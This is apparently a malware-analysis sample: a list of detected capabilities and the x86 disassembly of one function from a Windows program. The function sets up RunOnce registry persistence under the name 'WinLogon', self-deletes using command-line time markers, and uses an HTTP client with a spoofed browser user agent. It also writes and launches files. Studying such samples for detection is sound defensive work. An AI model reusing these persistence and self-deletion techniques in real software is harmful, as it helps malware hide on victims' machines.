Function at 0x4030df
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Create http request
Create process on windows
Delete file
Delete registry key
Persist via run registry key
Query or enumerate registry value
Self delete
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x524
push ebx
push esi
push edi
push str.MISSING
push 0x406640
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.c:x.cab
call esi
push str.c:inst1.htm
call esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
mov dword [ebp + 8], eax
call fcn.00402b9c
push dword [ebp + 8]
call fcn.00402f72
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrA]
push 0x404af0
push eax
mov dword [ebp + 0x10], eax
call esi
test eax, eax
je 0x40328b
push ebx
lea eax, [ebp + 8]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp + 8], ebx
je 0x403184
push str.WinLogon
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov cl, byte [ebp + eax - 0x218]
mov byte [ebp + eax - 0x524], cl
inc eax
cmp cl, bl
jne 0x403199
lea eax, [ebp - 0x524]
push eax
mov byte [0x407c20], 1
call fcn.004026da
pop ecx
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x114]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x524]
push eax
mov byte [0x407c20], bl
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x403265
push str.del:_
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call edi
push str.__my_time:
lea eax, [ebp - 0x114]
push eax
call edi
push str.my_time:
push dword [ebp + 0x10]
call esi
cmp eax, ebx
je 0x403234
add eax, 5
jmp 0x40325b
lea eax, [ebp + 0x10]
push eax
call fcn.00402146
push dword [ebp + 0x10]
lea eax, [ebp - 0x31c]
push 0x404a98
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x114]
push eax
call edi
push ebx
push 0x4048aa
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x524]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
jmp 0x4037ab
mov edi, str.del:
push edi
push dword [ebp + 0x10]
call esi
test eax, eax
je 0x4032e0
push edi
push dword [ebp + 0x10]
call esi
mov edi, eax
push 0x404a84
add edi, 5
push edi
call esi
cmp eax, ebx
je 0x4032c5
sub eax, edi
inc eax
push eax
push edi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
jmp 0x4032d3
push edi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.00402d26
test al, al
push ebx
je 0x4037ab
mov eax, dword [ebp + 8]
mov dword [0x407c1c], eax
lea eax, [ebp - 8]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
mov edi, 0x80000001
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 8], ebx
je 0x4033e1
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [ebp - 0x114]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x403339
mov esi, str._ren
movsd dword es:[edi], dword [esi]
push str.my_time:
push dword [ebp + 0x10]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, eax
push str._my_time:
lea eax, [ebp - 0x114]
push eax
call esi
cmp edi, ebx
je 0x403376
add edi, 5
push edi
jmp 0x40339e
lea eax, [ebp - 0xc]
push eax
call fcn.00402146
push dword [ebp - 0xc]
lea eax, [ebp - 0x31c]
push 0x404a98
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x114]
push eax
call esi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x114]
push eax
push 1
push ebx
push str.WinLogon
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrA]
mov edi, 0x80000001
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [0x407c18], eax
jne 0x403402
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push str.my_time:
push dword [ebp + 0x10]
mov byte [ebp - 2], bl
mov byte [ebp - 1], bl
mov byte [ebp - 3], bl
call esi
test eax, eax
je 0x403527
push str.my_time:
push dword [ebp + 0x10]
call esi
add eax, 5
push eax
call fcn.0040217f
mov esi, eax
lea eax, [ebp - 0xc]
push eax
call fcn.00402146
mov eax, dword [ebp - 0xc]
sub eax, esi
cmp eax, 0x127500
pop ecx
pop ecx
jle 0x403527
push ebx
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push edi
mov byte [ebp - 3], 1
mov byte [ebp - 1], 1
mov byte [ebp - 2], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 0x10], ebx
je 0x40356b
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [ebp - 0x114]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x403498
mov esi, str._ren
movsd dword es:[edi], dword [esi]
push str.my_time:
push dword [ebp + 0x10]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._my_time:
lea eax, [ebp - 0x114]
push eax
call esi
push dword [ebp - 0xc]
lea eax, [ebp - 0x31c]
push 0x404a98
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x114]
push eax
call esi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x114]
push eax
push 1
push ebx
push str.WinLogon
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x80000001
jmp 0x40356b
push 0x2710
push 0x407c2c
mov esi, 0x406950
push esi
call fcn.00402fc9
add esp, 0xc
test al, al
je 0x403567
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4035d5
cmp dword [0x407c2c], ebx
je 0x4035d5
call fcn.00402897
test al, al
je 0x40356b
mov byte [ebp - 2], 1
mov byte [ebp - 1], 1
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push 0x20019
push ebx
push ebx
push ebx
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 8], ebx
je 0x4035be
lea eax, [ebp + 0x10]
push eax
push 0x407c24
push ebx
push ebx
push str.Active_State
push dword [ebp - 8]
mov dword [ebp + 0x10], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4035b5
mov dword [0x407c24], ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 1], bl
je 0x4037a9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp + 0x10], eax
jmp 0x403692
push str.INVALIDCONFIG
push 0x406640
mov byte [ebp - 2], 1
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40356b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp + 0x10]
cmp eax, 0x927c0
jae 0x403618
push 0x4e20
push ebx
call fcn.00402146
pop ecx
push eax
call fcn.004037b2
pop ecx
pop ecx
jmp 0x40364c
mov eax, dword [0x407c24]
push dword [eax*4 + 0x404754]
push ebx
call fcn.00402146
pop ecx
push eax
call fcn.004037b2
inc dword [0x407c24]
cmp dword [0x407c24], 9
pop ecx
pop ecx
jb 0x40364c
mov dword [0x407c24], 8
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 8], ebx
je 0x403692
push 4
push 0x407c24
push 4
push ebx
push str.Active_State
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x403689
mov dword [0x407c24], ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x114]
push eax
push 0x407238
call fcn.00402a79
cmp byte [ebp - 0x114], bl
pop ecx
pop ecx
je 0x4035f2
lea eax, [ebp - 0x114]
push eax
call fcn.004026da
cmp byte [ebp - 2], bl
pop ecx
je 0x4036cb
push 1
call fcn.00401bc4
pop ecx
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x1f01ff
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x403724
push ebx
push ebx
push 0x4e
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea eax, [ebp + 0x10]
push eax
push 0xd
push 0x406940
push edi
call esi
push ebx
lea eax, [ebp + 0x10]
push eax
push 0xd
push 0x407228
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x41
xor eax, eax
cmp byte [ebp - 3], bl
pop ecx
lea edi, [ebp - 0x218]
rep stosd dword es:[edi], eax
je 0x403748
push 0x4049ec
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
push 0x4048aa
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xffffffffffffffff
push 0x407c2c
mov esi, 0x406770
push esi
call fcn.00402fc9
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x40379a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xffffffffffffffff
push 0x407c2c
push esi
call fcn.00402fc9
add esp, 0xc
push esi
call edi
test eax, eax
je 0x403782
call fcn.004029ac
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]